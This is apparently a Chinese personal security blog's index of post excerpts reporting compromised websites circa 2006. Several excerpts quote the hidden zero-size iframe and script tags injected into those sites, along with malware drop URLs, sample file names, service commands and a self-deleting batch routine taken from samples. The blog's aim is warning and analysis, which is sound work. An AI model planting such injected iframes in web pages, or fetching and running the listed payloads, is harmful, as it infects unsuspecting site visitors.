Welcome to kvirus@blog    复制

摘要： 本文仅个人见解，可能有错误，转贴请注明出处 wbemwinlogon.exe wbemsmss.exe aspwswind.dll ％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％％ ％system32％wbemwinlogon.exe c:windowssystem32wbemwinlogon.exe 文档大小：683,008字节 编译语言：Borland Delphi 6.0 - 7.0   查看全文

摘要： qproecss.exe 文件版本信息如下： Version Information ==================== Operating System : File Type : Unknown File Sub-Type : Unknown File Version : 0,0,0,0 Product Version : 0,0,0,0  查看全文

摘要： 中军网尖端军事论坛被挂DL马 hxxp://bbs.milchina.com/ (218.92.120.58) 代码在网页底部： ＜iframe src='hxxp://ujdmk1.chinaw3.com/xx.html' width='0' height='0' scrolling='no' frameborder='0'＞＜/iframe＞ hxxp://ujdmk1.chinaw3.com/xx.html (218.30.100.32)  查看全文

摘要：苏州大学-维普资讯-中文科技期刊数据库-镜像站V6.32 hxxp://202.195.136.17/index.asp 首页有以下恶意代码 ＜iframe src="hxxp://enzosun.googlepages.com/joke.htm" width="0" height="0"frameborder="0"＞＜/iframe＞ hxxp://enzosun.googlepages.com/joke.htm (64.233.179.95)放在googlepages上  查看全文

摘要： http://www.microsoft.com/technet/security/Bulletin/MS06-055.mspx 大小: 251 KB - 784 KB 现已确认在处理矢量标记语言 (VML) 的方式中有一个安全问题，攻击者可能会利用此问题危及运行 Microsoft Windows 的计算机的安全并获取对该计算机的控制权。您可通过安装本 Microsoft 更新程序来保护计算机不受侵害。安装本更新程序后，可能需要重新启动计算机。   查看全文

摘要： 看到访问客“涛的博客“上的小游戏，大家分享一下啦:-) 小鸡笨笨 巧拿情书   查看全文

摘要： 白天没有事，去本站访客“私心的博客”逛了一下。hxxp://lgy520qjj.bokee.com/ 网页上的个人介绍中有信息： 我是个很阳光的男孩!希望大家多回帖给我哦~~~ hxxp://haha.3322.net 于是去逛逛 hxxp://haha.3322.net/ (61.132.102.125) hxxp://www.51haha.net/club/ hxxp://www.51haha.net (61.151.249.244)  查看全文

摘要： 样本：http://bbs.2dai.com/thread-428562-1-1.html kavsvc主要部分 net start Service332244 c:windowssystem32winloger.exe net stop Service33224 c:windowssystem32winloger.exe /uninstall /SILENT c:windowssystemInternet Explorer.exe net stop Service332242   查看全文

摘要： “最近太多的垃圾进电脑了”，这是目前常见的现象。 主要来源还是在访问的网页中的恶意代码DOWN来的，并且有连环作案的现象 所以建议大家要好好审查一下网页（这个好象大多数上网者不常做，包括我自己:-)) 如下安全措施（我觉得是上网者所应具备的）：  查看全文

摘要： theopen.exe hxxp://59.34.197.195/theopen.exe 创建： killme.bat del theopen.exe del killme.bat 修改hosts表   查看全文

摘要： 中国钢材价格网--免费钢材价格资讯 hxxp://www.zh818.com=218.66.102.94 底部有 ＜iframe src="hxxp://www.zh818.com/0901/css.htm" width="0" height="0" frameborder="0"＞＜/iframe＞ ＜iframe src="gt-html/sethomepage.htm" width=0 height=0 frameborder=0 border=0 marginwidth=0 marginheight=0 scrolling=no＞＜/iframe＞ 目的强制设置主页为hxxp://www.zh818.com   查看全文

摘要： hxxp://qidong.ssdlh.com/qidong.exe v20060913   查看全文

摘要： 美女图片网的毒瘤 hxxp://www.tomsb.com/ ＜iframe src="hxxp://kkpic.net/jj3/" width="0" height="0" frameborder="0"＞＜/iframe＞ ＜iframe src="hxxp://www.i3guo.com.cn/1.htm" width="0" height="0" frameborder="0"＞＜/iframe＞ ＜iframe height="0" width="0" src="hxxp://afied.com/afied/ad0468.htm"＞＜/iframe＞ ＜script language=javascript src=hxxp://www.369ip.com/popup.js＞＜/script＞  查看全文

摘要： 陕西省人事考试信息网被植毒 hxxp://www.sxrsks.cn/ ＜iframe src="hxxp://www.sxrsks.cn/Info/pic/image.htm" width="0" height="0" frameborder="0"＞＜/iframe＞＜iframe src="hxxp://www.mtxing.com/images/map/2/image.htm" width="0" height="0" frameborder="0"＞＜/iframe＞ hxxp://www.mtxing.com/images/map/2/image.htm 目前失效   查看全文

摘要： 几天前的"腾飞在线 保定教育资源论坛" 被值脚本：hxxp://www.ee44.net/[1] hxxp://59.34.197.239/kw1034.htm 下载：hxxp://203.171.236.199/kw1034.exe ASPack 2.12 -＞ Alexey Solodovnikov [Overlay]   查看全文